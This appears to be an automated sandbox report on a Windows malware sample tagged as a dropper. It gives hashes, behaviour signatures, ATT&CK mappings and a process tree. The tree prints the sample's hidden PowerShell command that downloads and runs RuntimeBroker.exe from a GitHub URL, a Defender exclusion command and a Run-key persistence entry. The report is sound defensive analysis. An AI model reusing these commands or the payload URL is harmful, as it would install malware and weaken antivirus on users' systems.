8a0c5f128cb0f98dd45a91f296f67da9007fb0c8d81c5ef2e9987518c79e7cdf

Analysis

max time kernel
148s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 10:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-10_8a00a6fe4391f6405c3b6429d364d7e5_cobalt-strike_icedid_njrat_satacom_vidar.exe
Size 160KB
Sample260710-mcm1daav2x
SHA256 8a0c5f128cb0f98dd45a91f296f67da9007fb0c8d81c5ef2e9987518c79e7cdf
MD5 8a00a6fe4391f6405c3b6429d364d7e5
SHA1 699c9af15977e181f61a43c1bb5775b3c15eabf0
SHA512 0816ab2e499d0d301cb801739f9aa7e35771513f94af22d709fe3b20a37cf3a8c3ee0c658a5bd7014ab58c7fec6760f41678ce82b03c1feb68edf851af0d690d
SSDEEP 3072:CysA/VHVRfCr+ML8d60uA2fdMQ3+vOdDjv9/n64G:CPCJCvf0PIhJo4
TLSH
T195F35C5BB3A620F9E1778238C9A21606F77378350761DB9F03A443765F632D0AD3AB61
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/7iker21345-star/lasdl/raw/refs/heads/main/RuntimeBroker.exe

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5856	powershell.exe
3	5856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5856	powershell.exe
4100	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4444	RuntimeBroker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSvcHostUpdate = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\RuntimeBroker\\RuntimeBroker.exe"	RuntimeBroker.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
1	discord.com
3	raw.githubusercontent.com
6	discord.com

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5856	powershell.exe
5856	powershell.exe
4100	powershell.exe
4100	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5856	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeIncreaseQuotaPrivilege	4100	powershell.exe
Token: SeSecurityPrivilege	4100	powershell.exe
Token: SeTakeOwnershipPrivilege	4100	powershell.exe
Token: SeLoadDriverPrivilege	4100	powershell.exe
Token: SeSystemProfilePrivilege	4100	powershell.exe
Token: SeSystemtimePrivilege	4100	powershell.exe
Token: SeProfSingleProcessPrivilege	4100	powershell.exe
Token: SeIncBasePriorityPrivilege	4100	powershell.exe
Token: SeCreatePagefilePrivilege	4100	powershell.exe
Token: SeBackupPrivilege	4100	powershell.exe
Token: SeRestorePrivilege	4100	powershell.exe
Token: SeShutdownPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeSystemEnvironmentPrivilege	4100	powershell.exe
Token: SeRemoteShutdownPrivilege	4100	powershell.exe
Token: SeUndockPrivilege	4100	powershell.exe
Token: SeManageVolumePrivilege	4100	powershell.exe
Token: 33	4100	powershell.exe
Token: 34	4100	powershell.exe
Token: 35	4100	powershell.exe
Token: 36	4100	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 404 wrote to memory of 5856	404	2026-07-10_8a00a6fe4391f6405c3b6429d364d7e5_cobalt-strike_icedid_njrat_satacom_vidar.exe	88
PID 404 wrote to memory of 4444	404	2026-07-10_8a00a6fe4391f6405c3b6429d364d7e5_cobalt-strike_icedid_njrat_satacom_vidar.exe	90
PID 4444 wrote to memory of 4100	4444	RuntimeBroker.exe	91

C:\Users\Admin\AppData\Local\Temp\2026-07-10_8a00a6fe4391f6405c3b6429d364d7e5_cobalt-strike_icedid_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-10_8a00a6fe4391f6405c3b6429d364d7e5_cobalt-strike_icedid_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/7iker21345-star/lasdl/raw/refs/heads/main/RuntimeBroker.exe','C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe')"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5856
- C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
  "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
Size 1.5MB
SHA256 5c7d5aab95481f46d7af7cbdfd71d605ff36a1e120777d713567ab97209b0054
MD5 f5d42c10c47a92938dbffe14f2eff7ca
SHA1 82aa0a8a541fee10faedc3ef1a5b70f94101adfa
SHA512 ebd1cd422d3a2ee17f157b1f55bc0e3a0aabc8558a619435ca9a98736f186b30af9af1dfb060666da551c3c9f9a52fbecf51e6f8562609fd0a5859cc7f82af0c
SSDEEP 24576:ljRMqkLkksRmghwb+4ckexNhLHY+1QWItgltMioF53EOc6Yl/DNNafPm:lj2qkLkTmgWa4Gx74YL8EtMt3E/hZ
TLSH
T12A758F4BB3B801ECD467C2798906A607E77174051B74ABDF17D08A6A2F63EE15E7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_opayju00.vey.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_opayju00.vey.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4100-23-0x000001897C250000-0x000001897C25A000-memory.dmp

Download

memory/4100-22-0x000001897C4C0000-0x000001897C572000-memory.dmp

Download

memory/4100-21-0x000001897C230000-0x000001897C24E000-memory.dmp

Download

memory/5856-6-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-9-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-10-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-13-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-8-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-7-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-0-0x00007FFE1914F000-0x00007FFE19150000-memory.dmp

Download

memory/5856-5-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-1-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5856-2-0x000001A4C1E30000-0x000001A4C1E52000-memory.dmp

Download